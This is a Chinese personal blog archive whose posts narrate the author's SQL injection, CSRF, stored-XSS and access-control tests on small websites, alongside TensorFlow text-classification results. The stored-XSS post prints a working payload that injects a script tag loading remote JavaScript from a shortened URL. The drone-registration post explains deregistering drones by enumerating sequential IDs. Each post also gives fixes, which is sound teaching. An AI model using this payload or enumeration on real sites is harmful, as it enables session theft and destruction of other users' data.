2018年4月30日星期一

SQL 注入测试

    第一次在真实环境中sql注入成功的竟是自己和别人合写的网站服务中。
    仅仅是插入一句简单的语句作为测试用。
    一下是存在漏洞的相关代码
    注入语句:
     注入输出结果:
    修复漏洞后的代码:

   修复后注入测试的返回结果:



update 1 :
    经网友提醒pymsql 这个框架的预处理并不是标准形式的预处理,只是加了一个escape函数,底层还是字符串的拼接。具体代码地址请见  https://github.com/PyMySQL/PyMySQL/blob/master/pymysql/cursors.py#L147

 update 2:
标准的预编译应该是这样子的: 
http://www.wellho.net/resources/ex.php4?item=y113/prepared_statements.py

https://dev.mysql.com/doc/connector-python/en/connector-python-api-mysqlcursorprepared.html

2018年4月26日星期四

CSRF——悄无声息地更改信息

    之前的xss是利用用户对服务器的信任获取信息,而这个csrf是利用服务器对用户的信任来伪装一些未经同意的操作。
    仍是上一次的网站的用户信息界面。
   可以看到用户数据是通过post来提交的,除了一个cookies没有验证其他信息。
    



  于是我们可以构造一个表单来进行伪装用户操作,更改用户信息。
  

  由于post之后会刷新网页,我们把它丢到一个iframe里,并设置隐藏。
  

  攻击网页的完全体

  表面上是一个静态网页,但是,可以从网络选项卡可以看到请求已经发出去了。

  回到原始网页可以看到数据已经成功更改了,除了网站自身的一点小问题
  



解决方法:增加额外的token数据来确认操作,或者加入额外的步骤,比如输验证码之类的。


2018年4月23日星期一

越权访问漏洞-无人机登记系统

    这个漏洞是将近一年前的了,这里只做一些简单的记录。
    漏洞主要内容:随意注销用户无人机


 

 
   注销方式很简单,只是访问了一个对应UID的特定链接,后台对用户的验证只停留在是否是注册用户,而不是验证是否是相应的真实用户。
   id也只是简单的线性增加,随便一个程序遍历一遍,全部的无人机就能被注销掉了。
 
   修复:不久之后,网站更新,id使用了散列函数,并且加了盐。破解难度就大大增加了。

2018年4月22日星期日

持久型xss攻击测试

同是上次那个网站,增加了文本储存功能。我们看一看是否能进行持久性的xss注入攻击

这是页面的详细内容



1.直接输入语句进行测试


然而并没有任何效果


2.加入引号进行测试:


    可以看到网页的结构已经被破坏了,这说明之后的注入成功率大大增加

3.多次换语句,换注入方法进行测试,然而并没有找到破坏的规律



4.加上> 提前闭合,进行尝试




成功注入!!!

5.尝试使用外部js脚本,扩大攻击能力,经过多次尝试,发现网站后台对字符长度进行了限制。我们使用短链接服务,进行缩短网址,然而链接长度还是太长。经过搜索发现,我们可以把http去掉,只留下//:。成功注入。





解决方法:和上一篇博文一样,进行字符的过滤。java 可用的方法有 这个(点这里) ,其他的方法还有字符的替换等。

附上最终代码:"><script src="//mrw.so/4VRRV1"></script>

另:附上一个注入失败,把按钮都弄没了,只好废弃账号的一个例子





2018年4月17日星期二

XSS简单攻击测试

       xss 也称跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。       我们通过一个小网站来简单示范一下。
     
        这个网站会直接将个人用户名显示。(这也是这个小网站的当前唯一功能,我们就先从这里入手)
        进入注册页面,进行用户名的注册测试。
     
     然后进行登陆
  
       可以看到,我们插入的代码成功在网页上进行了显示,代码插入成功。我们继续用script标签进行测试。
      
       然而登陆失败
    
       进行多次尝试之后,发现网站用户名长度上被做了一定的限制。虽然后端没有做过滤,但是漏洞攻击一定程度上被进行了限制。
        在网上进行寻找之后,暂时还没有发现能再简写这一语句的方法。xss测试也到这里结束。

漏洞防范:对于要在网页上的用户输入的数据,要进行敏感字符的替换,过滤。现在网上也已经有了许多成熟的框架可以实现这一功能。经工具过滤之后的效果如下图所示:


2018年4月8日星期日

dnn + embedding + L1/L2 loss 及线性分类模型等的实验结果

在这个短文本分类识别实验当中,依次以以下顺序进行测试
        1.稀疏矢量作为输入的线性分类模型
        2.稀疏矢量作为输入的神经网络模型
        3.加入embedding层的神经网络模型
       4.加入embedding层的神经网络模型,并用ProximalAdagradOptimizer加入了L1 
regularization 和L2 regularization。
并计划接下来进行RNN模型的测试。
 
     第一个逻辑回归模型
     参数
    learning_rate=0.0008,
    steps=3000,
    batch_size=20
    divide = 3
     AUC on the validation set: 0.62
     Accuracy on the validation set: 0.63


第二个模型
参数:
learning_rate=0.001,
steps=6000,
batch_size=50,
hidden_units=[150, 150, 50],
divide = 6

AUC = 0.61
Accuracy = 0.63


第三个模型上一篇博文已有介绍
第四个模型
learning_rate=0.001,
       steps=6000,
       batch_size=60,
       hidden_units=[150, 150,50],
L2_regularization_strength=0.05
divide = 8
AUC on the validation set: 0.69
Accuracy on the validation set: 0.70

Accuracy on test data: 0.80
验证集使用了一万个左右的数据,可以说是有显著性的提升的。
  测试集positive 和negative的分布较为类似所以Accuracy略高。

l1 regularization 0.08

由于参数设置,可能相对较大,l1 也不符合模型,大量的节点变成了零,“死亡”了,直接全猜negative
AUC



2018年4月6日星期五

短句子判断作者——DNN加embedding层粗略实验

    模型使用Tensorflow预制的DNN模型进行训练,embedding层也直接使用了tensorflow实例Skip-gram的模型代码。
    做的主要工作还是数据的清洗,并且将其转换为模型能接受的格式。
    预制的DNN模型目前只能接受固定长度的数据,于是将文本数据划分为n个一组,每组分别打上标签,再送入训练。
    模型参数大概如下:
                   选用了AdagradOptimizer作为优化器,
                   learning_rate=0.001,
                   steps=6000,
                   batch_size=80,
                   hidden_units=[150, 150, 50]
   训练了一个多小时,结果不尽人意。在测试集上AUC为0.66,Accuracy为0.73



    反而训练了一二十分钟的数据量也并不大的embedding层结果让人比较感到惊喜
  训练embedding层的数据见上一片博文可以知道,大量数据的出现次数没有几次,能有这样的结果已经是相当的不错了